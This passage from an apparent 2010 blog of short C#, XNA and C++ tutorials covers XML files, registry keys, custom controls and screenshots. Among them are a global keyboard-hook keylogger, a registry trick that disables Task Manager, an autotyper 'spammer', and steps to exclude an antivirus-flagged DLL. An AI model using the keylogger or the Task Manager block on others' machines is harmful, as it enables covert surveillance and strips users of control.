                if (elem == "Title1")
                {
                    if (ok == 0)
                    {  label1.Text = xreader.Value; ok=1;}
                    else listBox1.Items.Add(xreader.Value);
                }
                else if (elem == "Title2")
                {
                    if (ok == 1)
                    { label2.Text = xreader.Value; ok = 0; }
                    else listBox2.Items.Add(xreader.Value);
                }
            }break;
    }
}
xreader.Close();
}

C# Tutorial: Save Text to XML File [Save ListBox Items]

Here is the code

using System.Xml;
///////////////////////////
XmlTextWriter xwriter = new XmlTextWriter("savefile.xml", Encoding.Unicode);
xwriter.WriteStartDocument();
xwriter.WriteStartElement("XMLFILE");

xwriter.WriteStartElement("Title");
xwriter.WriteString(textBox1.Text);
xwriter.WriteEndElement();

foreach(String item in listBox1.Items)
{
    xwriter.WriteStartElement("Item");
    xwriter.WriteString(item);
    xwriter.WriteEndElement();
}

xwriter.WriteEndElement();
xwriter.WriteEndDocument();
xwriter.Close();

Sunday, November 7, 2010

C# Tutorial: Create a Simple AutoTyper/Spammer

Here is the code

using System.Threading;
////////////////////////////////////////////////
char[] keys; int i;
private void button1_Click(object sender, EventArgs e)
{
    keys = textBox1.Text.ToCharArray(); i = 0;
    // Pause the program so you have time to focus your program (Ex: Notepad)
    Thread.Sleep(800);
    timer1.Start(); 
}
        
private void timer1_Tick(object sender, EventArgs e)
{
    if ((int)keys[i] == 13)
        SendKeys.Send("{BACKSPACE}");
    else SendKeys.Send(keys[i].ToString()); i++;
    if (i >= keys.Length) timer1.Stop(); 
}

private void button2_Click(object sender, EventArgs e)
{
    timer1.Stop(); 
}

Or download the solution

Saturday, November 6, 2010

Ultimate Password Protection [C# Tutorial]

Here is the code

using Microsoft.Win32;
//////////////////////////////////////////////////

// Form1
//////////////////////////////////////////////////
RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\UPP",true);
int fails = 0; bool passEntered = false;
private void button1_Click(object sender, EventArgs e)
{
    if (textBox1.Text != PasswordEncrypter.Decrypt(key.GetValue("Pass").ToString()))
    { 
        ++fails; MessageBox.Show("Wrong Password!!! Fail: " + fails.ToString());
        if (fails > 4)
        {
            MessageBox.Show("This application is locked for 15 minutes!");
            key.SetValue("T", PasswordEncrypter.Encrypt(DateTime.Now.AddMinutes(15).ToString())); 
            Application.Exit();
        }
    }
    else { passEntered = true; this.Close(); }
}

private void button2_Click(object sender, EventArgs e)
{
    Form3 frm3 = new Form3();
    frm3.ShowDialog(); 
}

private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
    if (!passEntered)
        Application.Exit(); 
}

// Form2
//////////////////////////////////////////////////////
RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\UPP");
//////// Inside Form2() before InitializeComponent(); //////////////
if (key == null)
{
      Form3 frm3 = new Form3();
      frm3.ShowDialog();
}
else
{
      Form1 frm1 = new Form1(); 
      frm1.ShowDialog();
}

// Form3
/////////////////////////////////////////////////////
RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\UPP",true);   
public Form3()
{
    InitializeComponent();
    if (key == null)
    {
        label1.Enabled = false;
        textBox1.Enabled = false;
        button1.Enabled = false;
    }
    else
        button2.Enabled = false;
}
bool passChanged = false;
private void button1_Click(object sender, EventArgs e)
{
    if (textBox1.Text != key.GetValue("Pass").ToString())
    {
        MessageBox.Show("Old Password is incorrect!");
    }
    else
    {
        if (textBox2.Text == textBox3.Text && textBox2.Text != "" && textBox3.Text != "")
        { key.SetValue("Pass", PasswordEncrypter.Encrypt(textBox3.Text)); passChanged = true; this.Close(); }
        else MessageBox.Show("Password did not match!");  
    }
}

private void button2_Click(object sender, EventArgs e)
{
    if (textBox2.Text == textBox3.Text && textBox2.Text != "" && textBox3.Text != "")
    {
        key = Registry.CurrentUser.CreateSubKey("SOFTWARE\\UPP");
        key.SetValue("Pass", PasswordEncrypter.Encrypt(textBox3.Text)); passChanged = true; this.Close(); 
    }
    else MessageBox.Show("Password did not match!");
}

private void Form3_FormClosing(object sender, FormClosingEventArgs e)
{
    if (!passChanged)
        Application.Exit(); 
}

// Form4
/////////////////////////////////////////////
RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\UPP",true);   
public Form4()
{
    InitializeComponent();
    if (DateTime.Now >= DateTime.Parse(PasswordEncrypter.Decrypt(key.GetValue("T").ToString())))
    {
        label1.Text = "Application Unlocked! Restart it!";
        key.DeleteValue("T"); 
    }
}
int c = 0;
private void timer1_Tick(object sender, EventArgs e)
{
    Opacity -= 0.01; c++;
    if (c >= 90) Application.Exit(); 
}

// Program.cs
////////////////////////////////////////////
RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\UPP");

if (key.GetValue("T") == null)
    Application.Run(new Form2());
else Application.Run(new Form4());

// PasswordEncrypter
///////////////////////////////////////////
public static string Encrypt(string password)
{
    char[] pass = password.ToCharArray(); string[] symb = { "@", "#", "$", "%", "&" }; Random rnd = new Random();
    string newpass = "";
    for (int i = pass.Length - 1; i >= 0; i--)
    {
        newpass += ((int)pass[i]).ToString() + symb[rnd.Next(0, 5)];  
    }
    return newpass;
}

public static string Decrypt(string password)
{
    string[] tokens = password.Split('@', '#', '$', '%', '&'); string pass = "";
    for (int i = tokens.Length - 2; i >= 0; i--)
    {
        pass += ((char)Convert.ToInt32(tokens[i])).ToString();  
    }
    return pass;
}

Or download the solution

Tuesday, November 2, 2010

C# Tutorial: Get Mouse Coordinates [Display them]

Here is the code

int x = 0, y = 0;
protected override void OnMouseMove(MouseEventArgs e)
{
    base.OnMouseMove(e);
    // Create the graphics object
    Graphics g = CreateGraphics();
    // Create the pen that will draw the line
    Pen p = new Pen(Color.Navy);
    // Create the pen that will erase the line
    Pen erase = new Pen(Color.White);
    g.DrawLine(erase, 0, 0, x, y);
    // Save the mouse coordinates
    x = e.X; y = e.Y;
    g.DrawLine(p, 0, 0, x, y);
    label1.Location = new Point(x - label1.Width, y); // Place the label on the mouse left 
    label2.Location = new Point(x, y - label2.Height); // Place the label on the mouse right
    label1.Text = x.ToString(); label2.Text = y.ToString();   
}

Or download the solution

Friday, October 29, 2010

C# Tutorial: Simple Password Generator [Add Text to Clipboard]

Here is the code

using System.IO;

Random rnd = new Random(); int[] symb = { 33, 35, 36, 37, 38, 42, 95 }; int length; 
private void button2_Click(object sender, EventArgs e)
{
    StringWriter sw = new StringWriter(); length = Convert.ToInt32(textBox1.Text);
    for (; length > 0; length--)
    {
        switch (rnd.Next(1, 5))
        {
            case 1: sw.Write((char)rnd.Next(65, 91)); break;
            case 2: sw.Write((char)rnd.Next(97, 123)); break;
            case 3: sw.Write((char)rnd.Next(48, 58)); break;
            case 4: sw.Write((char)symb[rnd.Next(0, 7)]); break;  
        }
    }
    textBox2.Text = sw.ToString(); 
}

private void button1_Click(object sender, EventArgs e)
{
    Clipboard.SetText(textBox2.Text);   
}

Or download the solution

Wednesday, October 27, 2010

Ultimate Keylogger - Global KeyBoard Hook [C# Tutorial]

!!! --> First download my GlobalKeyboardHook <-- !!!

Here's how to use it

GlobalKeyboardHook gHook; 
private void Form1_Load(object sender, EventArgs e)
{
   gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
   // Declare a KeyDown Event
   gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
   // Add the keys you want to hook to the HookedKeys list
   foreach (Keys key in Enum.GetValues(typeof(Keys)))
       gHook.HookedKeys.Add(key);
}

// Handle the KeyDown Event
public void gHook_KeyDown(object sender, KeyEventArgs e)
{
   textBox1.Text += ((char)e.KeyValue).ToString();
}

private void button1_Click(object sender, EventArgs e)
{
   gHook.hook();
}

private void button2_Click(object sender, EventArgs e)
{
   gHook.unhook();
}

private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
   gHook.unhook();
}
Using this keylogger to log/record other people's keystrokes without their knowledge can be considered as an illegal activity! It is the final user's responsibility to obey all applicable local,state,and federal laws! This tutorial is intended for educational purpose only! I assume NO liability and I'm NOT responsible for any misuse or damage caused by this keylogger!

Saturday, October 23, 2010

XNA Tutorial: How to Add a Song, Background and Video

Here is the code

Texture2D background; Video video; VideoPlayer player = new VideoPlayer(); Song song; bool playerStarted = false;
Vector2 backPos = Vector2.Zero; Texture2D videoT;
// Load the content
song = Content.Load<Song>("Not As It Seems");
background = Content.Load<Texture2D>("Desert");
video = Content.Load<Video>("Wildlife");
player.Play(video);

// Play a song
if (player.State == MediaState.Stopped)
{
    if (MediaPlayer.State == MediaState.Stopped)
    {
        if (playerStarted)
            this.Exit();
        MediaPlayer.Play(song);
        playerStarted = true;
    }
}

// Draw the frames of the video and the othr sprites
if (player.State != MediaState.Stopped)
    videoT = player.GetTexture();
Rectangle screen = new Rectangle(GraphicsDevice.Viewport.X, GraphicsDevice.Viewport.Y,
    GraphicsDevice.Viewport.Width, GraphicsDevice.Viewport.Height);

spriteBatch.Begin(SpriteSortMode.Immediate, BlendState.AlphaBlend);
if (videoT != null)
    spriteBatch.Draw(videoT, screen, Color.White);
if (player.State == MediaState.Stopped)
{
    spriteBatch.Draw(background, backPos, Color.White);
    spriteBatch.Draw(mytexture, sPos, Color.White);
    spriteBatch.Draw(ball, bPos, Color.White);
}
spriteBatch.End();

Or download the solution

Friday, October 22, 2010

Windows API Tutorial: Create a Simple Window [C++]

Here is the code

#include <Windows.h>

LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);

// WinMain: The Application Entry Point
int WINAPI wWinMain(HINSTANCE hInstance, HINSTANCE, PWSTR nCmdLine, int nCmdShow)
{
 // Register the window class
 const wchar_t CLASS_NAME[] = L"WindowClass";
 WNDCLASS wc = { };
 wc.lpfnWndProc = WindowProc;
 wc.lpszClassName = CLASS_NAME;
 wc.hInstance = hInstance;
 RegisterClass(&wc);
 // Create the window
 HWND hwnd = CreateWindowEx(
  0,
  CLASS_NAME,
  L"MyFirstWindow",
  WS_OVERLAPPEDWINDOW,
  CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,
  NULL,NULL,hInstance,NULL);

 if(hwnd == 0)
  return 0;
 // Show the window
 ShowWindow(hwnd,nCmdShow);
 nCmdShow = 1;
 // The Message loop
 MSG msg = { }; 
 while(GetMessage(&msg,NULL,0,0))
 {
  TranslateMessage(&msg);
  DispatchMessage(&msg);
 }
 return 0;
}
// Window Procedure function
LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
 switch(uMsg)
 {
 case WM_DESTROY:PostQuitMessage(0); return 0;
 case WM_PAINT:
  {
   PAINTSTRUCT ps;
   HDC hdc = BeginPaint(hwnd,&ps);
   FillRect(hdc,&ps.rcPaint,(HBRUSH)(COLOR_WINDOW+5));
   EndPaint(hwnd,&ps);
  }return 0;
 case WM_CLOSE:
  {
   if(MessageBox(hwnd,L"Do you want to exit?",L"EXIT",MB_OKCANCEL)==IDOK)
    DestroyWindow(hwnd);
  }return 0;
 }
 return DefWindowProc(hwnd,uMsg,wParam,lParam); // Default Message Handling
}

Or download the solution(C++)

Wednesday, October 20, 2010

C# Tutorial: Simple Task Manager [Kill a Process]

Here is the code

using System.Diagnostics; 
//////////////////////////////////////////////
Process[] procs;
private void GetProcesses()
{
    procs = Process.GetProcesses();
    if (Convert.ToInt32(label2.Text) != procs.Length) // Check if new processes have been started or terminated
    {
        listBox1.Items.Clear(); 
        for (int i = 0; i < procs.Length; i++)
        {
            listBox1.Items.Add(procs[i].ProcessName);  // Add the process name to the listbox
        }
        label2.Text = procs.Length.ToString();  
    }
}
private void Form1_Load(object sender, EventArgs e)
{
    GetProcesses(); 
}

// Check every 1 second for changes in the processes list
private void timer1_Tick(object sender, EventArgs e)
{
    GetProcesses(); 
}

private void button1_Click(object sender, EventArgs e)
{
    procs[listBox1.SelectedIndex].Kill(); // Kill the process coresponding to the selected index of listbox1 
}

private void kIllProcessToolStripMenuItem_Click(object sender, EventArgs e)
{
    procs[listBox1.SelectedIndex].Kill();
}

Or download the solution

Monday, October 18, 2010

XNA Tutorial: Your first Game!

Here is the code

// Add these lines in the Game1() Method
// -------------------------------- //
// Set the window size
graphics.PreferredBackBufferWidth = 800;
graphics.PreferredBackBufferHeight = 600;
// You can also set it to fullscreen
// graphics.IsFullScreen = true;
// -------------------------------- //

// Above and in the LoadContent() Method
Texture2D mytexture; // A texture we can render (our sprite)
Vector2 sPos = Vector2.Zero; // Set the coordinates where the sprite will be drawn (2-dimensional space) 
// -------------------------------- //
mytexture = Content.Load("ball"); // Load the sprite
// -------------------------------- //

// Above and in the Update(GameTime gameTime) Method
Vector2 sSpeed = Vector2.One; // This is something like a direction indicator
// -------------------------------- //
if (Keyboard.GetState().IsKeyDown(Keys.Escape)) // Exit game when the ESC key is pressed
    this.Exit();
sPos += sSpeed * (float)gameTime.ElapsedGameTime.TotalSeconds * 100; // Let's speed it up :)
int MaxX = graphics.GraphicsDevice.Viewport.Width - mytexture.Width;
int MinX = 0;
int MaxY = graphics.GraphicsDevice.Viewport.Height - mytexture.Height;
int MinY = 0;
// Check if the sprite hits the sides of the window. If it does so then make it to move the opposite direction.
if (sPos.X > MaxX)
{
    sSpeed.X *= -1;
    sPos.X = MaxX;
}
else if (sPos.X < MinX) 
{
    sSpeed.X *= -1;
    sPos.X = MinX; 
}
if (sPos.Y > MaxY)
{
    sSpeed.Y *= -1;
    sPos.Y = MaxY;
}
else if (sPos.Y < MinY) 
{
    sSpeed.Y *= -1;
    sPos.Y = MinY;
}
// -------------------------------- //

// Add these lines in the Draw(GameTime gameTime) Method
// -------------------------------- //
GraphicsDevice.Clear(Color.Red); // You can change the background color here
// Draw the sprite
spriteBatch.Begin(SpriteSortMode.FrontToBack, BlendState.AlphaBlend);
spriteBatch.Draw(mytexture, sPos, Color.White);
spriteBatch.End(); 
// -------------------------------- //

Or download the solution

Sunday, October 17, 2010

C# Tutorial: Read/Write Characters from/to a String [Simple TextEncoder]

Here is the code

private void button3_Click(object sender, EventArgs e)
{
    StringReader str = new StringReader(textBox1.Text); // Read from textBox1.Text.
    StringWriter stw = new StringWriter();
    // This algorithm reverses the code (ASCII) of a char. Example: "a" is 97; the new code will be 79, wich is "O".
    int key, chr, newChr;
    do
    {
        key = str.Read(); // Read the int value (ASCII code) of the char
        chr = key; newChr = 0;
        // Reverse the code of the char
        while (key != -1 && chr != 0)
        {
            newChr = newChr * 10 + chr % 10;
            chr /= 10;
        }
        // Add the new char to the StringWriter
        if (key != -1) stw.Write((char)newChr);
        // Repeat this while there are chars in the string. -1 means the end of a string.
    } while (key != -1);
    // Converts stw to string and adds it to textBox1.Text.
    textBox1.Text = stw.ToString(); 
}

Or download the solution

Saturday, October 16, 2010

C# Tutorial: NotifyIcon with ContextMenuStrip [Tray Balloon]

Here is the code

private void Form1_SizeChanged(object sender, EventArgs e)
{
    // Check if the Form is minimized
    if (this.WindowState == FormWindowState.Minimized)
    {
        // If the notifyIcon1 doesn't have a Icon then it won't show up!
        notifyIcon1.Icon = SystemIcons.Application;
        notifyIcon1.BalloonTipText = "Your Form has minimized to tray";
        notifyIcon1.ShowBalloonTip(1000); 
    }
    // Check if the Form it's in Normal State
    else if (this.WindowState == FormWindowState.Normal)
    {
        notifyIcon1.BalloonTipText = "Your Form has come back to Normal";
        notifyIcon1.ShowBalloonTip(1000); 
    }
}

private void showFormToolStripMenuItem_Click(object sender, EventArgs e)
{
    this.WindowState = FormWindowState.Normal;
}

private void blablaToolStripMenuItem_Click(object sender, EventArgs e)
{
    MessageBox.Show("SUBSCRIBE :)");
}

private void exitToolStripMenuItem_Click(object sender, EventArgs e)
{
    Application.Exit();
}

private void notifyIcon1_DoubleClick(object sender, EventArgs e)
{
    this.WindowState = FormWindowState.Normal;
}

Or download the solution

C# Tutorial: Read/Write File [Open/Save File]

Here is the code

using System.IO;
///////////////////////
private void button1_Click(object sender, EventArgs e)
{
    // Show the openFileDialog. When Ok is pressed, read the file and copy its content into the textBox1.
    if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
    {
        label1.Text = openFileDialog1.FileName;
        textBox1.Text = File.ReadAllText(label1.Text);  
    }
}

private void button2_Click(object sender, EventArgs e)
{
    // Show the saveFileDialog. When Ok is pressed, save the content of the textBox1 into the chosen file.
    if (saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK)
    {
        File.WriteAllText(saveFileDialog1.FileName, textBox1.Text);   
    }
}

Or download the solution

Friday, October 15, 2010

C# Tutorial: How to Disable Task Manager

Here is the code

/* 
    * NOTE: 
    * - You must have administrator privileges or this won't work !!!
    * - You must run VC# 2010 as Administrator or (again) this won't work !!!
    */
RegistryKey key = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"); 
private void button1_Click(object sender, EventArgs e)
{
    key.SetValue("DisableTaskMgr", 1); 
}

private void button2_Click(object sender, EventArgs e)
{
    Registry.CurrentUser.DeleteSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
    // Or you can change the key value to 0
}

Or download the solution

Wednesday, October 13, 2010

C# Tutorial: Cross-Threading [Access a Form from a different Thread]

Here is the code

using System.Threading;
///////////////////////////////////////////
public Form1()
{
    InitializeComponent();
    // Create a new thread for Form2.
    Thread frm2 = new Thread(new ThreadStart(startForm2));
    frm2.Start(); 
}
Form2 form2 = new Form2(); 
public void startForm2()
{
    Application.Run(form2);   
}

public void transferText(string text)
{
    // Invoke the method of Form2's textBox1
    if (form2.textBox1.InvokeRequired)
        form2.textBox1.Invoke((MethodInvoker)delegate()
        {
            transferText(text);
        });
    else form2.textBox1.Text = text;
}

public void close()
{
    if (form2.textBox1.InvokeRequired)
        form2.textBox1.Invoke((MethodInvoker)delegate()
        {
            close();
        });
    else form2.Close();
}

private void button1_Click(object sender, EventArgs e)
{
    transferText(textBox1.Text);  
}

private void button2_Click(object sender, EventArgs e)
{
    close();
}

Or download the solution

Monday, October 11, 2010

How to fix the L4D2 scenefilecache.dll Trojan alarm [Kaspersky FIX]

Follow these steps and it should work (it worked for me):
1. Go to Kaspersky's Settings -> Click on Protection and uncheck Select action automatically -> Then, below Protection, click on File Anti-Virus and make sure Prompt for action is selected.
2. Exit Kaspersky (right click on the tray icon and click Exit)
3. Start Steam -> Go to Library -> Games -> Right click on Left 4 Dead 2 -> Properties -> Local Files -> Click on Verifi Integrity Of Game Chache -> Now wait (Steam will automatically download the missing files) -> Start L4D2 (to make sure it's working) then exit.
4. Start Kaspersky and wait to detect the file again. This time a window will appear prompting for an action. Choose SKIP !!!
5. Open Kaspersky's main window (double click on the tray icon). You should see Your computer is at risk / Threats have been detected. Click on that (DO NOT CLICK on Fix it now)
6. Protection state window will appear. In the Threats have been detected section click Details... button.
7. Then, below Status: Detected should be your trojan. Right click on it and choose Add to exclusions.
8. Now the Threats have been detected message should disappear. You can now play L4D2!


UPDATE FIX: If Kaspersky deletes your file again (your game will crash to desktop) then REDO Steps 2 and 3 !! (This motherfu**er doesn't give up)

Sunday, October 10, 2010

C# Tutorial: Create and Delete Registry Keys

Here is the code

Microsoft.Win32.RegistryKey key;
private void button1_Click(object sender, EventArgs e)
{
    // Create the registry key.
    // It is more secure to write data to the user folder — Microsoft.Win32.Registry.CurrentUser 
    // — rather than to the local computer — Microsoft.Win32.Registry.LocalMachine.
    key = Microsoft.Win32.Registry.CurrentUser.CreateSubKey("MyRegKey");
    key.SetValue("IsTutorial", "Yes");
    key.Close(); 
}

private void button2_Click(object sender, EventArgs e)
{
    // Delete a registry key
    Microsoft.Win32.Registry.CurrentUser.DeleteSubKey("MyRegKey"); 
}

private void Form1_Load(object sender, EventArgs e)
{
    // NOTE: Before typing this code make sure you have created the registry key
    // Otherwise you'll get an exception error !!! 
            
    // Open a registry key.
    // "true" means the key it's writable
            
    key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("MyRegKey",true);
    // An example of using the registry key
    if (key.GetValue("IsTutorial").ToString() == "Yes")
    {
        MessageBox.Show("This is a Tutorial!");
        key.SetValue("IsTutorial", "No");
    }
    else MessageBox.Show("This is Not a Tutorial!");
}

Or download the solution

Wednesday, October 6, 2010

C# Tutorial: Suppress a Key on a TextBox [Cancel KeyDown event]

Here is the code

using System.Media;
/////////////////////////////////
private void textBox1_KeyDown(object sender, KeyEventArgs e)
{
    if ((e.KeyValue < 48 || e.KeyValue > 57) && e.KeyCode != Keys.Delete && e.KeyCode != Keys.Back)
    {
        e.SuppressKeyPress = true;
        SystemSounds.Beep.Play();
    }
}

Ascii Table

Tuesday, October 5, 2010

How to Enable Line Numbers in Visual C++/C# 2010

Open Visual C++ 2010

Go to Tools

And from the Tools menu

Choose Options










A new window will appear

Go to Text Editor








And Choose C/C++

Then check Line Numbers

Hit OK






Do the same for Visual C# 2010
but make sure you check Show all settings


Friday, October 1, 2010

C# Tutorial: Create a Glossy Button [Custom Controls]

Here is the code

// Import the Gdi32 DLL
[DllImport("Gdi32.dll",EntryPoint="CreateRoundRectRgn")]
// Import the Method from DLL. With this method you can create a Form with rounded corners
private static extern IntPtr CreateRoundRectRgn(int leftRect,int topRect, int rightRect, int bottomRect, int wEllipse, int hEllipse);
// Create a Pen that will draw the border of the button.
Pen p = new Pen(Color.Aqua);
// Configure the BtnText Property
[Description("The text associated with the control")]
[Category("Appearance")]
public string BtnText
{
    get
    {
        return label1.Text; 
    }
    set
    {
        label1.Text = value;
        label1.Location = new Point(this.Width / 2 - label1.Width / 2, this.Height / 2 - label1.Height / 2);  
    }
}
// Set the font of label1 through the Font Property of GlossyButton
public override Font Font
{
    get
    {
        return label1.Font;
    }
    set
    {
        label1.Font = value;
        // Center the label
        label1.Location = new Point(this.Width / 2 - label1.Width / 2, this.Height / 2 - label1.Height / 2);
    }
}

protected void onMouseEnter()
{
    p.Color = Color.Red; this.BackColor = Color.Firebrick; this.Invalidate(); 
}

protected void onMouseDown()
{
    this.BackColor = Color.Maroon; this.Invalidate();  
}

protected void NormalStyle()
{
    p.Color = Color.Aqua; this.BackColor = Color.DodgerBlue; this.Invalidate(); 
}

protected override void OnPaint(PaintEventArgs e)
{
    base.OnPaint(e);
    // Create the rounded corners for your form (in this case your button)
    this.Region = System.Drawing.Region.FromHrgn(CreateRoundRectRgn(0, 0, this.Width + 1, this.Height + 1, 3, 3));
    // Create a transparent white gradient
    LinearGradientBrush lb = new LinearGradientBrush(new Rectangle(0, 0, this.Width, this.Height), Color.FromArgb(150, Color.White), 

Color.FromArgb(50, Color.White), LinearGradientMode.Vertical);
    // Draw the gradient
    e.Graphics.FillRectangle(lb, 2, 2, this.Width - 6, this.Height / 2);
    // Draw the border
    e.Graphics.DrawRectangle(p, 0, 0, this.Width - 3, this.Height - 3);   
}
protected override void OnSizeChanged(EventArgs e)
{
    base.OnSizeChanged(e);
    // Center the label
    label1.Location = new Point(this.Width / 2 - label1.Width / 2, this.Height / 2 - label1.Height / 2);
}

protected override void OnMouseEnter(EventArgs e)
{
    base.OnMouseEnter(e); onMouseEnter();
}
protected override void OnMouseLeave(EventArgs e)
{
    base.OnMouseLeave(e); NormalStyle();
}
protected override void OnMouseDown(MouseEventArgs e)
{
    base.OnMouseDown(e); onMouseDown();
}
protected override void OnMouseUp(MouseEventArgs e)
{
    base.OnMouseUp(e); onMouseEnter();
}

private void label1_MouseEnter(object sender, EventArgs e)
{
    onMouseEnter();
}

private void label1_MouseLeave(object sender, EventArgs e)
{
    NormalStyle();
}

private void label1_MouseDown(object sender, MouseEventArgs e)
{
    onMouseDown();
}

private void label1_MouseUp(object sender, MouseEventArgs e)
{
    onMouseEnter();
}

Or download the solution

Wednesday, September 29, 2010

C# Tutorial: Create a Custom ProgressBar [Custom Controls]

Here is the code

using System.Drawing.Drawing2D;
////////////////////////////////////////////////////////
label1.ForeColor = Color.Black;
this.ForeColor = SystemColors.Highlight; // Set the default color of the Pbar

protected float percent = 0.0f; // Protected because we don't want this to be accessed from the outside
// Create a Value property for the Pbar
public float Value
{
    get
    {
        return percent;
    }
    set
    {
        // Maintain the Value between 0 and 100
        if (value < 0) value = 0;
        else if (value > 100) value = 100;
        percent = value;
        label1.Text = value.ToString() + "%"; 
        // Redraw the Pbar every time the Value changes
        this.Invalidate(); 
    }
}
protected override void OnPaint(PaintEventArgs e)
{
    base.OnPaint(e);
    Brush b = new SolidBrush(this.ForeColor); // Create a brush that will draw the background of the Pbar
    // Create a linear gradient that will be drawn over the background. FromArgb means you can use the Alpha value wich is the transparency
    LinearGradientBrush lb = new LinearGradientBrush(new Rectangle(0, 0, this.Width, this.Height), Color.FromArgb(255, Color.White), 

Color.FromArgb(50, Color.White), LinearGradientMode.ForwardDiagonal);     
    // Calculate how much has the Pbar to be filled for "x" %
    int width = (int)((percent / 100) * this.Width);
    e.Graphics.FillRectangle(b, 0, 0, width, this.Height);
    e.Graphics.FillRectangle(lb, 0, 0, width, this.Height);
    b.Dispose(); lb.Dispose(); 
}

/////////// Pbar_SizeChanged /////////////
// Maintain the label in the center of the Pbar
label1.Location = new Point(this.Width / 2 - 21 / 2 - 4, this.Height / 2 - 15 / 2);

Or download the solution

Monday, September 20, 2010

C# Tutorial: Keep Graphics on the Form after Minimize

Here is the code

// Declare a Bitmap object.
Bitmap image;

/////////////// Form1_Load /////////////////////////////
// Create a new Bitmap object(an image). Set the image to the size of pictureBox1.
image = new Bitmap(pictureBox1.ClientSize.Width, pictureBox1.ClientSize.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb);

//////////////// PictureBox1_Paint //////////////////
// Draw the image on the pictureBox1.
e.Graphics.DrawImage(image, 0, 0, image.Width, image.Height);

//////////////// Button "Draw my line" ////////////
// Create a graphic object from the image.
Graphics g = Graphics.FromImage(image);
// Draw a line on the image.
g.DrawLine(Pens.Red, 50, 50, 75, 200);
// Redraw pictureBox1.
pictureBox1.Invalidate();

Or download the solution

Friday, September 17, 2010

C# Tutorial: Capture Screen [Take Screenshots]

Here is the code

using System.Drawing.Imaging;
using System.Threading;

///////////////// Declarations ////////////////////////
ImageFormat img; Bitmap bt; Graphics screenShot;

///////////////////// Button1 /////////////////////////////
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
    this.Hide();
    // This gives time to the Form to hide before it takes the screenshot. 500 miliseconds are enough.
    Thread.Sleep(500); 
    // Set the image to the size of the screen.
    bt = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, PixelFormat.Format32bppArgb);
    // Creates the graphic object for the image (bt).    
    screenShot = Graphics.FromImage(bt);
    // Takes the screenshot.
    screenShot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X, Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size, 

CopyPixelOperation.SourceCopy);
    switch (saveFileDialog1.FilterIndex)
    {
        case 0: img = ImageFormat.Bmp; break;
        case 1: img = ImageFormat.Png; break;
        case 2: img = ImageFormat.Jpeg; break;
    }
    // Saves the image.
    bt.Save(saveFileDialog1.FileName, img);
    // After the screenshot is taken the Form reappears.
    this.Show();
}

Or download the solution

Wednesday, September 15, 2010

C# Tutorial: Mail Sender [Send e-mails using C#]

Here is the code

///////////////// Button Send /////////////////
MailMessage mail = new MailMessage(from.Text, to.Text, subject.Text, body.Text);
// SmtpServer = smtp.company.com; Ex: Gmail - smtp.gmail.com | Yahoo - smtp.yahoo.com
SmtpClient client = new SmtpClient(smtp.Text);
// Port 587 is the preferred port for mail submission. Port 25 is widely abused by malware to spread worms and spam.
//  As a result, many ISPs are restricting its use. I tried to use it but it didn't work!
client.Port = 587;
client.Credentials = new System.Net.NetworkCredential(username.Text, password.Text);
// Port 587 allows you to use a SSL Connection.
client.EnableSsl = true;
client.Send(mail);
MessageBox.Show("Mail Sent!", "Success", MessageBoxButtons.OK);

Or download the solution

Sunday, September 12, 2010

C# Tutorial: Create a Control while the Program is running

This is the code

Button btn = new Button();
///////////////////////////////////////////////////////

/////////// Button1_Click ////////////////
// Set the parent container of the button. In our case is the main form which is "this".
btn.Parent = this;
// The location where the button will be created.
btn.Location = new System.Drawing.Point(13, 81);
// The size of the button.
btn.Size = new System.Drawing.Size(60, 85);
// The Name of the button.
btn.Name = "btn1";
// The text that will appear on the button.
btn.Text = "My Button";

Or download the solution

Friday, September 10, 2010

C# Tutorial: Create a Simple Splash Screen [with ProgressBar]

Here is the code

////////////// Form1 //////////////////////////////////////
// We start Form2 on its own thread. By doing that we can run Form1 and Form2 in parallel.
Thread t = new Thread(new ThreadStart(SplashScreen));
t.Start();  
// Form1 is delayed by 5 sec so the SplashScreen has time to fully load its progressbar.
Thread.Sleep(5000);
// Add this after InitializeComponent();
// After Form1 is loaded the SplashScreen's thread is terminated.
t.Abort();

////////// SplashScreen Function /////////
Application.Run(new Form2());

//////// Form2 Timer //////////////////////////////
progressBar1.Increment(1);
if (progressBar1.Value == 100) timer1.Stop();

Or download the solution

More about Threads

Monday, September 6, 2010

C# Tutorial: Create a Simple Shutdown Manager #2 [usingSystem.Management]

Here is the code

string flags, time, oldtime;
/////////////////////////////////////

///////// Button "Start" ////////////
time = textBox1.Text;
switch (comboBox1.SelectedIndex)
{
    case 0: { flags = "1"; toolStripStatusLabel1.Text = "Windows will shut down in " + time + " seconds!"; } break;
    case 1: { flags = "2"; toolStripStatusLabel1.Text = "Windows will restart in " + time + " seconds!"; } break;
    case 2: { flags = "0"; toolStripStatusLabel1.Text = "Windows will log off in " + time + " seconds!"; } break;
}
timer1.Start();

//////// Shutdown Function //////////
public void Shutdown()
{
    ManagementBaseObject shutdown = null;
    ManagementClass win32 = new ManagementClass("Win32_OperatingSystem");
    win32.Get();
    // You can't shutdown without security privileges 
    win32.Scope.Options.EnablePrivileges = true;
